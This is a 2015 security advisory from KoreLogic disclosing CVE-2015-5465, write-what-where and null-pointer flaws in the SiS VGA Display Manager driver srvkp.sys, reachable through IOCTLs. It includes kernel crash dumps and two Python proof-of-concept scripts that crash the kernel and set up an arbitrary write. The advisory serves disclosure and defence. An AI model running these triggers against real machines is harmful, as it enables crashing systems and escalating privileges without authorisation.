KL-001-2015-003 : SiS Windows VGA Display Manager Multiple Privilege Escalation Title: SiS Windows VGA Display Manager Multiple Privilege Escalation Advisory ID: KL-001-2015-003 Publication Date: 2015.09.01 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-003.txt 1. Vulnerability Details Affected Vendor: Silicon Integrated Systems Corporation Affected Product: Windows VGA Display Manager Affected Version: 6.14.10.3930 Platform: Microsoft Windows 7 (x86), Microsoft Windows XP SP3 CWE Classification: CWE-123: Write-what-where condition Impact: Arbitrary Code Execution Attack vector: IOCTL CVE-ID: CVE-2015-5465 2. Vulnerability Description Vulnerabilities within the srvkp module allows an attacker to inject memory they control into an arbitrary location they define or cause memory corruption. IOCTL request codes 0x96002400 and 0x96002404 have been demonstrated to trigger these vulnerabilities. These vulnerabilities can be used to obtain control of code flow in a privileged process and ultimately be used to escalate the privilege of an attacker. 3. Technical Description Example against Windows XP: Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 2600.xpsp_sp3_qfe.101209-1646 Machine Name: Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0 ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 50, {ffff0000, 1, 804f3b76, 0} Probably caused by : srvkp.sys ( srvkp+3329 ) Followup: MachineOwner --------- kd> kn Call stack: # ChildEBP RetAddr 00 f6a529a0 8051cc7f nt!KeBugCheckEx+0x1b 01 f6a52a00 805405d4 nt!MmAccessFault+0x8e7 02 f6a52a00 804f3b76 nt!KiTrap0E+0xcc 03 f6a52ad0 804fdaf1 nt!IopCompleteRequest+0x92 04 f6a52b20 806d3c35 nt!KiDeliverApc+0xb3 05 f6a52b20 806d3861 hal!HalpApcInterrupt+0xc5 06 f6a52ba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11 07 f6a52bc8 804f07e4 nt!KeInsertQueueApc+0x4b 08 f6a52bfc f7910329 nt!IopfCompleteRequest+0x1d8 09 f6a52c34 804ee129 srvkp+0x3329 0a f6a52c44 80574e56 nt!IopfCallDriver+0x31 0b f6a52c58 80575d11 nt!IopSynchronousServiceTail+0x70 0c f6a52d00 8056e57c nt!IopXxxControlFile+0x5e7 0d f6a52d34 8053d6d8 nt!NtDeviceIoControlFile+0x2a 0e f6a52d34 7c90e514 nt!KiFastCallEntry+0xf8 0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet 10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc 11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a 12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866 13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88 14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e 15 0021f6c0 1e07bd9c _ctypes+0x54d8 16 00000000 00000000 python27!PyObject_Call+0x4c Example against Windows 7: Microsoft (R) Windows Debugger Version 6.2.9200.20512 X86 Copyright (c) Microsoft Corporation. All rights reserved. Loading Dump File [C:\Windows\MEMORY.DMP] Kernel Summary Dump File: Only kernel address space is available Symbol search path is: *** Invalid *** ************************************************************************ **** * Symbol loading may be unreliable without a symbol search path. * * Use .symfix to have the debugger choose a symbol path. * * After setting your symbol path, use .reload to refresh symbol locations. * ************************************************************************ **** Executable search path is: ******************************************************************* ** * Symbols can not be loaded because symbol path is not initialized. * * * * The Symbol Path can be set by: * * using the _NT_SYMBOL_PATH environment variable. * * using the -y <symbol_path> argument when starting the debugger. * * using .sympath and .sympath+ * ******************************************************************* ** *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntkrpamp.exe - Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatib le Product: WinNt, suite: TerminalServer SingleUserTS Built by: 7601.17514.x86fre.win7sp1_rtm.101119-1850 Machine Name: Kernel base = 0x82a12000 PsLoadedModuleList = 0x82b5c850 Debug session time: Mon Aug 17 14:36:36.286 2015 (UTC - 7:00) System Uptime: 0 days 11:46:55.313 ******************************************************************* ** * Symbols can not be loaded because symbol path is not initialized. * * * * The Symbol Path can be set by: * * using the _NT_SYMBOL_PATH environment variable. * * using the -y <symbol_path> argument when starting the debugger. * * using .sympath and .sympath+ * ********************************************************************* *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntkrpamp.exe - Loading Kernel Symbols ............................................................... ................................................................ ..................................... Loading User Symbols PEB is paged out (Peb.Ldr = 7ffd400c). Type ".hh dbgerr001" for details Loading unloaded module list .............................. ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 8E, {c0000005, ac08f2fa, 93df4a50, 0} ***** Kernel symbols are WRONG. Please fix symbols to do analysis. ... ... ... Followup: MachineOwner --------- kd> .symfix;.reload Loading Kernel Symbols ............................................................... ................................................................ ..................................... Loading User Symbols PEB is paged out (Peb.Ldr = 7ffd400c). Type ".hh dbgerr001" for details Loading unloaded module list .............................. kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Some common problems are exception code 0x80000003. This means a hard coded breakpoint or assertion was hit, but this system was booted /NODEBUG. This is not supposed to happen as developers should never have hardcoded breakpoints in retail code, but ... If this happens, make sure a debugger gets connected, and the system is booted /DEBUG. This will let us see why this breakpoint is happening. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: ac08f2fa, The address that the exception occurred at Arg3: 93df4a50, Trap Frame Arg4: 00000000 Debugging Details: ------------------ *** ERROR: Module load completed but symbols could not be loaded for srvkp.sys EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. FAULTING_IP: srvkp+32fa ac08f2fa 8b4804 mov ecx,dword ptr [eax+4] TRAP_FRAME: 93df4a50 -- (.trap 0xffffffff93df4a50) ErrCode = 00000000 eax=00000000 ebx=00000000 ecx=00000000 edx=93df4ae4 esi=85644140 edi=d68fc588 eip=ac08f2fa esp=93df4ac4 ebp=93df4afc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 srvkp+0x32fa: ac08f2fa 8b4804 mov ecx,dword ptr [eax+4] ds:0023:00000004=???????? Resetting default scope DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT BUGCHECK_STR: 0x8E PROCESS_NAME: python.exe CURRENT_IRQL: 0 LAST_CONTROL_TRANSFER: from 82ac708c to 82af0f20 STACK_TEXT: 93df45c4 82ac708c 0000008e c0000005 ac08f2fa nt!KeBugCheckEx+0x1e 93df49e0 82a50dd6 93df49fc 00000000 93df4a50 nt!KiDispatchException+0x1ac 93df4a48 82a50d8a 93df4afc ac08f2fa badb0d00 nt!CommonDispatchException+0x4a 93df4afc 82a49593 85644140 869fb048 869fb048 nt!KiExceptionExit+0x1 92 93df4b14 82c3d99f d68fc588 869fb048 869fb0b8 nt!IofCallDriver+0x63 93df4b34 82c40b71 85644140 d68fc588 00000000 nt!IopSynchronousServiceTail+0x1f8 93df4bd0 82c873f4 85644140 869fb048 00000000 nt!IopXxxControlFile+0x6aa 93df4c04 82a501ea 00000088 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 93df4c04 77d270b4 00000088 00000000 00000000 nt!KiFastCallEntry+0x1 2a WARNING: Frame IP not in any known module. Following frames may be wrong. 0021f3dc 00000000 00000000 00000000 00000000 0x77d270b4 STACK_COMMAND: kb FOLLOWUP_IP: srvkp+32fa ac08f2fa 8b4804 mov ecx,dword ptr [eax+4] SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: srvkp+32fa FOLLOWUP_NAME: MachineOwner MODULE_NAME: srvkp IMAGE_NAME: srvkp.sys DEBUG_FLR_IMAGE_TIMESTAMP: 4cc65532 FAILURE_BUCKET_ID: 0x8E_srvkp+32fa BUCKET_ID: 0x8E_srvkp+32fa Followup: MachineOwner --------- 4. Mitigation and Remediation Recommendation No response from vendor; no remediation available. 5. Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. 6. Disclosure Timeline 2015.05.14 - Initial contact; requested security contact. 2015.05.18 - Second contact attempt. 2015.05.25 - Third contact attempt. 2015.07.02 - KoreLogic requests CVE from Mitre. 2015.07.10 - Mitre issues CVE-2015-5465. 2015.07.28 - 45 business days have elapsed since KoreLogic last attempted to contact SiS without a response. 2015.09.01 - Public disclosure. 7. Proof of Concept # Arbitrary Write (Windows XP) from sys import exit from ctypes import * NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory WriteProcessMemory = windll.kernel32.WriteProcessMemory DeviceIoControl = windll.ntdll.NtDeviceIoControlFile CreateFileA = windll.kernel32.CreateFileA CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1 OPEN_EXISTING = 3 NULL = None device = "siskp" code = 0x96002404 inlen = 0xe6b6 outlen = 0x0 inbuf = 0x1 outbuf = 0xffff0000 inBufMem = "\x90"*inlen def main(): try: handle = CreateFileA("\\\\.\\%s" % (device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[-] error creating handle" exit(1) except Exception as e: print "[-] error creating handle" exit(1) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x 1000|0x2000,0x40) WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0))) DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,o utbuf,outlen) CloseHandle(handle) return False if __name__=="__main__": main() and # Null Pointer Dereference (Windows XP/7) from sys import exit from ctypes import * DeviceIoControl = windll.ntdll.NtDeviceIoControlFile CreateFileA = windll.kernel32.CreateFileA CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1 OPEN_EXISTING = 3 NULL = None device = "siskp" code = 0x96002400 def main(): try: handle = CreateFileA("\\\\.\\%s" % (device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[-] error creating handle" exit(1) except Exception as e: print "[-] error creating handle" exit(1) DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,0x0,0x0 ,0x0) CloseHandle(handle) return False if __name__=="__main__": main() The contents of this advisory are copyright(c) 2015 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt